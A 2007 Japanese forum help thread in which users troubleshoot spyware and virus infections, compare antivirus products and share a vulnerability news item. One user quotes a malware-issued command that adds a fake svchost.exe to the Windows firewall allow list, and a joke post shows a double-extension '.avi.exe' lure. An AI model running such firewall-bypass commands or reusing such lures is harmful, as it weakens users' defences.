あとspybotも
スパイウェア対策何かしてる？
SpywareBlasterぐらいは入れておかなくちゃ
既に導入済みならいいけど

↑で大丈夫だったらOK

>>668
ノートン入れてるだけです。
スパイウェア対策はしてません
正直言うとノートン入れてれば平気だと思ってました・・
色々とありがとうございます。
カスペってオンラインスキャンですか？

>>670
そう、カスペオンライン
スパイウェア対策してないのか
nortonのは貧弱なんだからいれなきゃ
nortonスレのテンプレにSpyware BlasterとSpybot-S&Dのこと書いてある参考に
http://pc10.2ch.net/test/read.cgi/sec/1170302366/

今、ノートンアップデートしていて画面が固まっているので携帯から書き込みしてます。後でカスぺやってみます。本当ありがとうございます

度々すいません。
カスペオンラインのページに行って
カスペルキーオンラインスキャンって所を押しても
何もはじまらないんですが・・・

>>662
誘導
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.106【2007】
http://pc10.2ch.net/test/read.cgi/sec/1170302366/
1〜17まで読んどけ

>>665
ブロックしてくれたらってどういう意味ですか？

>>675
とんでもないことが起こるらしいで有名なgoggle.comだよ

>>675
ようつべでみれます、なかなかの傑作かと・・・
http://www.youtube.com/watch?v=eFdm4PxRWd4

>>676
>>677
ありがとうございます
うっかりクリックしてしまいました
いまのところなにもありませんが
再起動したらやばいのでしょうか

ずっとスルーされているような気がする>>635ですが
なんかおかしい事聞いてますか？

勉強不足は承知の上ですがせめて誰か誘導お願いします

>>679
説明が意味不明だからさ

【VB】ウイルスバスター2007 Part28【TrendMicro】
http://pc10.2ch.net/test/read.cgi/sec/1170482131/

>>680
そうか…勉強不足で用語が分かってないし日本語も怪しいね…
もう一回勉強してから出直してきます

>>681
誘導サンクス

>>682
対応方法があるんだから、やってみたのかと・・・

>>638？

家族がPCの調子が悪いと言ってきたので自分が診ています

【使用OS】 WindowsXP HomeEdition SP2
【使用ブラウザ】 MoonBrowser
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 ウイルスバスター・インターネットセキュリティ2006　最新UPDATE
【スパイウェア対策ソフト】 ウイルスバスター・インターネットセキュリティ2006
【ファイアウォール】 ウイルスバスター・インターネットセキュリティ2006
【ルータの有無】 無し

【具体的な症状】 「標準のブラウザ」に設定しているMoonBrowserを起動してネットに繋ごうとしても
「取り消されたアクション　Internet Explorer は、要求された Web ページにリンクできませんでした。
要求された Web ページは現在、利用できない可能性があります。 」と出て、繋げません。
　ページのプロパティを見ると、「res://C:\WINDOWS\System32\shdoclc.dll/navcancl.htm#http://
（以下、目的のページのURL）」と出ています。
異常が起きているのは標準に指定したMoonBrowserだけで、IE6.0では普通につなげます。
MoonBrowserでも、フォルダ名を変えれば普通に繋げます。

【過程と措置】 GoogleとYahooで症状を検索し、スパイウェアの可能性があるとのことでした。SpyBot
→AD-AWARE→カスペルスキーオンラインスキャン→ウイルスバスター2006の完全スキャンと色々
試しましたが、引っかかったのはCookieが7個のみでした。
Cookieは全て削除しましたが症状は改善しません。
不都合の原因と対処法を教えてもらえないでしょうか

MoonBrowser再インスコ

しました
というか、元々インストールするような代物じゃないので
フォルダを解凍して起動するだけです
レジストリ消すツールも付いていますが、実行したところ、レジストリは登録されていませんでした

>>683-684
サンクス

とりあえず対応方法どおりにレジストリから特定の文章を削除
その後もう一回スキャンしたらまた発見された

ハードディスクCを見たらまだVideo ActiveX Objectとかいう
スパイウェアと思われるフォルダがまだ残っててウィルスバスターに
手動で削除してくださいといわれた。

直接フォルダごと削除しようとしても現在使用中ですみたいな
表記が出て削除できない状態です。
そして再度レジストリを確認すると消したはずの特定の文章が
復活してたっていういたちごっこになってます。

説明不足かもしれませんがとりあえずこんな感じです
分かる方いらっ者たらぜひ教えてください

>>688
指定フォルダ以下のロックファイルリストからロックを解除できる「Unlocker」
http://www.forest.impress.co.jp/article/2005/05/10/unlocker.html

>>688
http://www.higaitaisaku.com/
まずはここで調べてみましょう

>>688
Trojan.Zlob系感染の対処法 - 【アダ被の部屋】Wiki
http://wiki.higaitaisaku.com/wiki.cgi?page=Trojan.Zlob%B7%CF%B4%B6%C0%F7%A4%CE%C2%D0%BD%E8%CB%A1

Windows Media Player Network Sharing Service という製造元不明の
サービスがシステム構成ユーティリティを見るとあるのですが
検索してもそれらしい情報が出てきません。
普通こういうのはマイクロソフトのサービスとして表示されるのでは
ないのでしょうか？

ウイルスバスター2006より軽いウイルス対策ソフトを教えて下さい。
Kasperskyはamazonレビューでも軽いと言われ、
やたら高評価ばかりですけど実際どうなんでしょうか。

つ体験版

>>693
純粋にAntiVirusだけでいいのか？
PFWは不要か

>>694
体験版はまさにそのためのものでしたね。
帰ったらKasperskyの体験版を使ってみます。
ありがとうございました。

>>695
書き忘れててすいません。
ウイルス対策だけでなくファイアーウォールも必要でした。

体験版も当然だがレジストリを使いますので
出したり入れたりする場合はご注意を。。。

【使用OS】windowsXP home
【使用ブラウザ】FireFox2.0.0.1
【Microsoft Updateの状態】現時点では最新
【ウイルス対策ソフトとバージョン】PC購入時についてきた、Mcfee SecurityCenterの試用版
【スパイウェア対策ソフト】spybot
【ファイアウォール】上記のMcfee SecurityCenter
【ルータの有無】有り
−−−−−−−−−−−−−−−
今まで使ってたMcfee SecurityCenterが期限切れになったため、更新を考えていたのですが
Mcfeeの2007年verは重くて使いづらいという話が他スレで出ていたため
別なセキュリティソフトの導入を考えているのですが、
「NOD32」と「カスペルスキーinternetSecurity6.0」とでは、どちらを使った方が宜しいのでしょうか？
上記２つの関連スレを見てみたのですが、どちらも優秀orバグばかり使えない&性能低いなど
どちらが正しい情報なのか判断がつきません。

お手数をお掛けしますが、お返事お待ちしております。

>上記２つの関連スレを見てみたのですが、どちらも優秀orバグばかり使えない&性能低いなど
>どちらが正しい情報なのか判断がつきません。

ここで聞いても変わらない気がするw

それにすぐ上に答え出てるやん＞体験版
あとNODにはFWが付いてこないぞ

>>698
＞ どちらが正しい情報なのか判断がつきません。

その判断が出来ない人がここで質問しても一緒だろ
ウソをウソと見抜けない人が掲示板を（ｒｙ　　　　　　
だろ

まぁ、それぞれ難癖つけようと思えばつけられるけど
両方ともいいソフトだよ

【使用OS】 win2000
【使用ブラウザ】 Firefox2.0.0.1
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】Norton2005
【スパイウェア対策ソフト】 Ad-Adware SE
【ファイアウォール】 有
【ルータの有無】 有

【具体的な症状】
アイコンからノートンの窓を開こうとすると、
DLLが見つかりません。というエラーが発生。
CCL40.dllが見つからない、と。
とりあえずOKを押すと、もう一度同じエラー。
もう一度OKを押すと、今度はアプリケーションエラーが発生し、
NMain.exeが終了して、ノートンが終了します。
【過程と措置】
スティンガー・Ad-Adware SEでスキャンしたものの、何も出ず。

なにかのウイルスなのでしょうか？
それともただノートンの不具合なだけ？

ご教示願いします。

>>701
誘導
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.106【2007】
http://pc10.2ch.net/test/read.cgi/sec/1170302366/

>>702
ｻﾝｸｽ

そっちで聞いてみます。

>>698
低スペックPC　→　NOD32＋PFW
中以上　　→　　お好みで

マカがまともに使えていたのならどちらでもいいんじゃね？
どちらを選ぶにしろ、補助でBitDefender　Free（英語）か、Dr.Web CureIt!（日本語）
を使うと幸せにナレルヨ。

久しぶりにきたがPandaはもう駄目なのかな？

>>699,>>700,>>704
お返事ありがとうございました。
カスペの体験版を使ってみて、Mcfeeとの違いを体感してみようと思います。
もう少し勉強して、情報の見分け方もできるよう頑張って見ますね。
ありがとうございました。

>>705
パンダAVトライアル版使用中。更新頻度、一日１〜３回。
動作は無問題、安定的。わりと軽快に動く。ISはどうか知らんが。
いつのまにかブロックされたスパイウエア（クッキー）が、かなりの数たまっている。
設定が大雑把だけど悪くはない。トラブった時にどうなるか楽しみ。

>>707
悪くは無さそうだなぁ
と言っても、俺はオンラインスキャンしかしないけど

【使用OS】Windows2000pro SP4
【使用ブラウザ】Firefox
【Microsoft Updateの状態】最新
【ウイルス対策ソフトとバージョン】Norton2005（定義ファイルは最新）
【スパイウェア対策ソフト】Ad-Adware SE、spybot
【ファイアウォール】ZoneAlarm
【ルータの有無】有り

【具体的な症状】一日に1回NortonがBugBear B Worm Backdoor Usageというのを検出して
　　　　　　　　　　遮断している
【過程と措置】ネトゲのスレを見ていてそこに張られていたURLを誤クリックで開いてしまい、
　　　　　　　　　W32.Fujacks.EというのとW32.Yaha.F@mmというのオートプロテクトが反応して駆除。
　　　　　　　　　しかしその日から上記の症状が始まりました。
　　　　　　　　　ノートンで完全スキャンしても何も検出されず。検索してみるとW32.Bugbear.B@mm
　　　　　　　　　というのがそれらしいという記述を見つけたのでsymantecサイトにあった
　　　　　　　　　駆除ツールを使うも検出されず。
【その他】駆除ツールはLANケーブル引っこ抜いてセーフモードで使用しましたがダメでした。
　　　　　　完全スキャンで検出されないのでどう対処したらよいかわからず困っています。　　　　　

>>709
リカバリー推薦

>>710
やはりそうなりますか・・・
今スレを読み返しながらカスペルスキーのオンラインスキャンでも試している最中なのですが、
こちらではいくつか検出されているようなのですが、もしトライアル版をこれからインストールしたら
駆除できるものなのでしょうか？

>>711
>こちらではいくつか検出されているようなのですが
検出場所が検疫部では？

あ、そうかもしれませんね・・・
OSを再インストールすることにします。
現在一台のHDDをCドライブとDドライブの2つのパーティションに分けているのですが、
Dドライブのデータを保存したままCドライブにOSをクリーンインストールできるのでしょうか？

>>713
出来る。

>>714
ありがとうございます。
明日にでも取り掛かってみます。

>>709
一応、専門店に問い合わせて手順を確認しとこう

>716
取り説だけで充分ですぜ

>>689-691
教えてもらった方法を試しつつwikiで情報を集めたいと思います。
色々書き込んでいただきありがとうございました。

>>715
リカバリする前にnortonアンインスコ→再インスコしてみなよ

> 一日に1回NortonがBugBear B Worm Backdoor Usageというのを検出して遮断している

> ノートンで完全スキャンしても何も検出されず

nortonのバグの可能性が高いと思うんだけどなあ

>>718
レジストリの削除はセーフモードでした？
あとはレジストリの自動起動に書き込まれているとか。
HijackThisで見つかるかもね。
使い方はアダ被にいけばわかる。
解析は一応ここで行い、自分で最終判断。
tp://www.hijackthis.de/index.php?langselect=english

トレンドマイクロのウイルス対策製品全般にぜい弱性――ウイルス検査時にウイルスに感染も

　米iDefenceは2007年2月7日（米国時間），トレンドマイクロのウイルス対策製品のウイルス・チェック・エンジンに
バッファ・オーバーフローのぜい弱性が見つかったと発表した。ウイルスバスター2005/2006/2007のようなパソコン用の
ウイルス対策ソフトのほか，InterScan VirusWallのようなゲートウエイ型のウイルス対策製品に影響がある。
最悪のケースでは，ウイルス検査時にウイルスに感染し，システム権限で動作する不正プログラムを埋め込まれてしまう
危険性がある。

http://itpro.nikkeibp.co.jp/article/NEWS/20070209/261539/

W32.FUJACKSに感染した.HTMファイルはマカフィーじゃないと検出できないのである

Antivirus Version Update Result
AntiVir 7.3.1.34 02.06.2007 no virus found
Authentium 4.93.8 02.06.2007 no virus found
Avast 4.7.936.0 02.05.2007 no virus found
AVG 386 02.05.2007 no virus found
BitDefender 7.2 02.05.2007 no virus found
CAT-QuickHeal 9.00 02.05.2007 no virus found
ClamAV devel-20060426 02.05.2007 no virus found
DrWeb 4.33 02.05.2007 no virus found
eSafe 7.0.14.0 02.05.2007 no virus found
eTrust-InoculateIT 30.4.3371 02.05.2007 no virus found
eTrust-Vet 30.4.3371 02.05.2007 no virus found
Ewido 4.0 02.05.2007 no virus found
Fortinet 2.85.0.0 02.06.2007 no virus found
F-Prot 4.2.1.29 02.05.2007 no virus found
Ikarus T3.1.0.31 02.06.2007 no virus found
Kaspersky 4.0.2.24 02.06.2007 no virus found
McAfee 4956 02.05.2007 W32/Fujacks!htm
Microsoft 1.2101 02.06.2007 no virus found
NOD32v2 2039 02.06.2007 no virus found
Norman 5.80.02 02.05.2007 no virus found
Panda 9.0.0.4 02.06.2007 no virus found
Prevx1 V2 02.06.2007 no virus found
Sophos 4.13.0 02.05.2007 no virus found
Sunbelt 2.2.907.0 02.02.2007 no virus found
Symantec 10 02.06.2007 no virus found
TheHacker 6.1.6.052 02.05.2007 no virus found
UNA 1.83 02.05.2007 no virus found
VBA32 3.11.2 02.05.2007 no virus found
VirusBuster 4.3.19:9 02.05.2007 no virus found

今PC立ち上げてしばらくしたら、マウスカーソルが
ものすごい勢いで暴れまくってコントロールできない状況になったんだけど
こんなウイルスある？
無線のボール式のやつなんで電池一回はずしてリセットしたら
いまのところ大丈夫なんだけど…ちょっと気になったもんで

　米iDefenceは2007年2月7日（米国時間），トレンドマイクロのウイルス対策製品のウイルス・チェック・エンジンに
バッファ・オーバーフローのぜい弱性が見つかったと発表した。ウイルスバスター2005/2006/2007のような
パソコン用のウイルス対策ソフトのほか，InterScan VirusWallのようなゲートウエイ型のウイルス対策製品に影響がある。
最悪のケースでは，ウイルス検査時にウイルスに感染し，システム権限で動作する不正プログラムを埋め込まれてしまう
危険性がある。

　対策は，ウイルス・パターン・ファイルを4.245.00以上のバージョンにすること。ユーザーは早急にパターン・ファイルを
最新もものにアップデートすべきだ。

　ぜい弱性があったのは，UPXと呼ばれるオープンソース・ソフトで圧縮された実行形式ファイルを検査する部分。
このぜい弱点を攻撃するコマンドを埋め込んだUPXファイルをメールに添付して送付されると，ウイルス対策ソフトは
これを自動で検査するので，簡単に悪意あるプログラムを埋め込まれてしまう。WebページやFTPサーバーなどから
ダウンロードするように仕向けられても同様な問題が起こる。

http://itpro.nikkeibp.co.jp/article/NEWS/20070209/261539/

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

すいません、今、アドバイス通りに
カスペでオンラインスキャンしてる最中なんですが
　
見つかったウイルス　３
観戦したオブジェクト　６
疑わしいオブジェクト　２１３４

ノートンで検出されなかったのに
こんなに出る物なんですか？

>>712

>>726
感染場所は？
名前は？

質問です。
これからクレジットカードに申し込むのでかなり個人情報を入力するのですが
スパイウェアに感染していたらSSLのページでも漏れてしまうのでしょうか？
以前、スパイボットなどでは削除できないスパイウェアに感染したことがあったので
スパイウェアは完全に防げないものだと思っています。
SSLのページのものなら大丈夫なのでしょうか？

オートコンプリートOFF
フォームクリア
Cookieの掃除

>>728
いっぱいありすぎて
一旦消して
今、ノートンでスキャンしてます。
それが終わったら
もう一度、オンラインスキャンかけてみます

とりあえず検疫を処理した方が賢い

>>732
たぶん何を言われているのか理解できないと思う

韓国の1000以上のインターネット・サイトがハッキングに遭い、サイトに接続したパソコン9万2000台が
悪性のプログラムに感染する中国発の大規模ハッキング事件が発生した。

韓国情報保護振興院（KISA）は8日、不特定多数ユーザーのゲームへのログイン情報を盗み出す
悪性プログラムが急速に広まったことから緊急の対応に乗り出したと明らかにした。

ハッカーが狙うのはオンラインゲームの「ハンゲーム」と「メイプルストーリー」のIDとパスワードだ。
そのため主にゲーム業者のインターネット・サイトが標的になっている。ハッキング被害を受けたサイトに
接続するとユーザーのパソコンにプログラムが浸入していつのまにかインストールされ、ハンゲームや
メイプルストーリーのユーザー情報が知らないうちにハッカーの手に渡り利用されてしまう。
振興院は62万台のパソコンが浸入を受け、中でも保安機能が弱い9万 2000台が悪性のプログラムに
感染していると明らかにした。

振興院は中国から韓国のゲームIDを狙うハッキング事件が多発していることから、今回の事件も
中国のハッカーグループが引き起こしたとみている。振興院は「ハッキングの恐れがあるユーザーは
振興院とマイクロソフト社が共同で開発した情報保護サイトから“PC自動保安アップデート”プログラムを
ダウンロードしてインストールした方が良い」と説明した。

朝鮮日報
http://japanese.chosun.com/site/data/html_dir/2007/02/09/20070209000009.html

>>729
SSLは通信中の内容を暗号化するシステムなので
その通信自体の安全性はある程度保証されるが、
それ以前の問題として、PC内に既に悪質なスパイウェアが巣くっていたら
そいつが別枠でＰＣ内の情報漏洩行動をとるから無意味
日々日頃のPCチェックが大切。

>>734
国全体でActiveX使いまくってたら当たり前だな

スキャンしたオブジェクトの総数 191897
検知されたウイルス 3
感染したオブジェクト 6
疑わしいオブジェクト 2134


感染オブジェクト名
C:\Program Files

ウイルス名
疑わしい: Exploit.HTML.Mht となっていますが・・・どうしたら？

駆除しろよ

以上

>>734
国中が割れOSだからパッチを当ててないんだろうな

150円だもんな〜ｗ

なんかウイルスに感染されてしまいました。
ＰＣを起動すると、Video ActiveX Object2,07 setupという画面が出てきてしまい、
また、ＩＥを開くと、ttp://protectwarning.comとかいう
怪しげなサイトに誘導されてしまいます。
また、数分おきにアプリケーションエラーが表示される次第です。
どうしたらいいでしょうか？よろしくお願い致します。

>>741タン
>>9使って

>>737
数ありすぎて駆除がめちゃ大変
また、すべて駆除できるか疑問
リカバリを薦める

>>741
Dr.webでは無反応。見に行く気はないが。

>>737
お、昨日のまだやってるんだ
にしてもすんごい数
norton切ってはんやったんだからしょうがない
>>743　がベスト

リカバリは正しい手順で
あと、スパイウェア対策を忘れずに

>>726
ノートンを信頼しすぎ
そんなもんだよ

>>741
環境ぐらい書いてくれ

>737
専ブラのログじゃないのか＜Exploit.HTML.Mht

みなさんどうも
ありがとうございました。
やっぱりリカバリですか・・・
初体験ですが頑張ってやってみます。

　　　ε= (ﾟ∀ﾟ*)
(無修正)ノヽノ |
　　　　　　 <　<

　　　　　　　　　　　　ε= (ﾟ∀ﾟ*)
(無修正)女子高生エロ　ノヽノ |
　　　　　　　　　　　　　　　 <　<

　　　　　　　　　　　　　　　　　ε= (ﾟ∀ﾟ*)
(無修正)女子高生エロ動画.avi　ノヽノ |
　　　　　　　　　　　　　　　　　　　　 <　<

　　　　　　　　　　　　 　 　 　 　 　　　 ・・・ (ﾟдﾟ　)
(無修正)女子高生エロ動画.avi　　　　　　ノヽノ |
　　　　　　　　　　　　　　　　　　　　　　　　　 <　<

　　　　　　　　　　　　　　　　　　　　　　　　　　 　 　 　 ( ﾟдﾟ )
(無修正)女子高生エロ動画.avi　　　　　　　　　　.exeノヽノ |
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　<　<

パケットフィルタ（ポート）に関してなのですが、当方が使用してるルータは初期設定で
下記記4つに関してはWAN側にチェックが入っています。
04 04 拒否 　 * 　 localhost/255.255.255.255 　 TCP 　 * 　 telnet 　 順方向 　
05 05 拒否 　 * 　 localhost/255.255.255.255 　 UDP 　 * 　 tftp 　 順方向 　
06 06 拒否 　 * 　 localhost/255.255.255.255 　 TCP 　 * 　 75 　 順方向
07 07 拒否 　 * 　 localhost/255.255.255.255 　 TCP 　 * 　 www 　 順方向

3日くらい前に2ちゃん巻き添えアク禁対策としてもう１つ安いISPと契約し、
簡単に設定、接続は出来たのですが、なぜか追加で登録した今回の分に関しては
上記4つに関しては全てWAN側にチェックが入っていませんでした。

ちょっと前に気づいてチェック入れてルータ再起動しましたが、
これって外部からアクセスできるような状態になっていてかなり危険って事なんですよね？
この4つは最低限閉じてたほうがいいと書いてるサイトもありましたし・・・。

とりあえずtelnetとかポート80でいろいろ検索して調べたのですが、ポートスキャンされて
PC乗っ取られてワームを入れ込んだり、データ盗んだり、PC遠隔操作されたり、
自分のPCを踏み台として他のサイトを攻撃したりWEBを改ざんしたりされる場合もあるとか書いてあったのですが、
telnetとかいのは使った事はないし、WEBサーバ、FTPサーバなんかもやってないし、
ウイルスチェックをしても何も見つかりませんでした。

無知なもので恐縮なのですが上記ポート開放による弊害、障害、危険性と
できる事があるのであれば今からできる対策等を教えていただけませんでしょうか？

XPを使っています
通販サイトを使ったら確認のメールが文字化けして読めない状態で受信されました
他のメールは今まで通り普通に受信されるのですが、
マカフィーに問題があるのでしょうか？

すいません
マカフィーの体験版をインストールしたばかりです
今までノートンだったのですが何も問題ありませんでした

>>752
メーラーの読み取りのエンコードは？

>>741です。自己解決しました。
刻々と不具合が発生してしまい、テンプレを読む余裕がありませんでした。すいません。
ちなみに、SmitfraudFixを利用しました。

>>754
日本語（自動選択）になっています

テスト

タスクマネージャからを開きプロセスの中にある
ウィルスと思われるデータのプロセスを終了させたのですが
一秒かからないうちに再起動してしまします…
そこでかなり荒業ですがその再起動している一秒の間に
フォルダのデータを削除をするということをしました
何度かしている内にデータをすべて消し去ることができました。

その後ウィルスバスター2006で検出しましたが隔離されている
スパイソフト以外は起動しているスパイソフトは発見されませんでした

とりあえず除去は成功したんですがIEの調子が悪く
まだIEで見たときに画像が見れなかったり、出るべき画面
が透過してしまったりと元に戻っていないようです。
ウィルスバスターからもかなり深刻なダメージを受けているとの
報告があったので何か対処法を探しています。

こういう場合は直接MSからIEを落としてきたり
OS自体をリカバリーすると言う方法を取るべきなんでしょうか？

>>720
回答ありがとうございます
とりあえず自己解決できたのですがセキュリティもかなり
難しいので勉強のために色々試してみたいと思います。

トレンドマイクロのウイルス対策製品全般にぜい弱性――ウイルス検査時にウイルスに感染も

　米iDefenceは2007年2月7日（米国時間），トレンドマイクロのウイルス対策製品のウイルス・チェック・エンジンに
バッファ・オーバーフローのぜい弱性が見つかったと発表した。ウイルスバスター2005/2006/2007のようなパソコン用の
ウイルス対策ソフトのほか，InterScan VirusWallのようなゲートウエイ型のウイルス対策製品に影響がある。
最悪のケースでは，ウイルス検査時にウイルスに感染し，システム権限で動作する不正プログラムを埋め込まれてしまう
危険性がある。

http://itpro.nikkeibp.co.jp/article/NEWS/20070209/261539/

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

>>569
※ウイルス注意！！！！※

二週間ほどの内に、七連続でNOD32などが検出できないウイルス出現しました。
でもフリー製品などで検出できている製品はありますから、心配な人はそれらを一時的に使うと良いかもです。


AntiVir検出名：DR/Shelled.Gen
http://vista.crap.jp/img/vi7105970830.jpg
http://www.virustotal.com/

【使用OS】 win2000
【使用ブラウザ】 IE
【Microsoft Updateの状態】 わからない
【ウイルス対策ソフトとバージョン】 なし
【スパイウェア対策ソフト】 なし
【ファイアウォール】 わからない
【ルータの有無】 有

【具体的な症状】 AntiVerminsというスパイウェアが入り込んでしまい、。
【過程と措置】 使用中に急に勝手にブラウザが出てきて困ったので、Spybotを使用しました。
ですがその後、PCがおかしくなり、起動するとスパイウェアが起動して、再起動になることの繰り返しでした。駆除できなかったのです
その度にスパイウェアと一緒にコマンドプロンプトみたいなブラウザに「system32\svchost.exeコマンドは見つかりませんでした」という表記が出ます（その後すぐ再起動になってしまう）
その後セーフモードでSmitfraudFixを使ってみましたが、起動できるものの、できませんでした、という表記がいっぱい出まして、うまくいきませんでした。
その後再起動しまして再度セーフモードで起動しましたら、また先ほどと同じコマンドプロンプトみたいなブラウザ（「C:\WINNT\system32\svchost.exe」と書いてある）に、
「次のコマンドは見つかりませんでした：firewall set allowedprogram %systemroot%\system32\scvhost.exe enable」と出ます
もうどうしたらいいのか･･･元に戻したいです。お願いします

ウイルスバスター2007のような初心者に使いやすい、無料体験ウイルスバスターは他にないですか？いろんなバスターを使ってみましたが、使い方がわからないものや使いづらいものが多いので

それと動画サイト you tubeでタイトルのところが文字化けしています、これはウイルスに感染してるのでしょうか、

バスター＝ウイルス対策ソフト　でOK？
フリーがで分かりやすいならAvast!が日本語対応してるしお勧め
使い方はネットで調べてな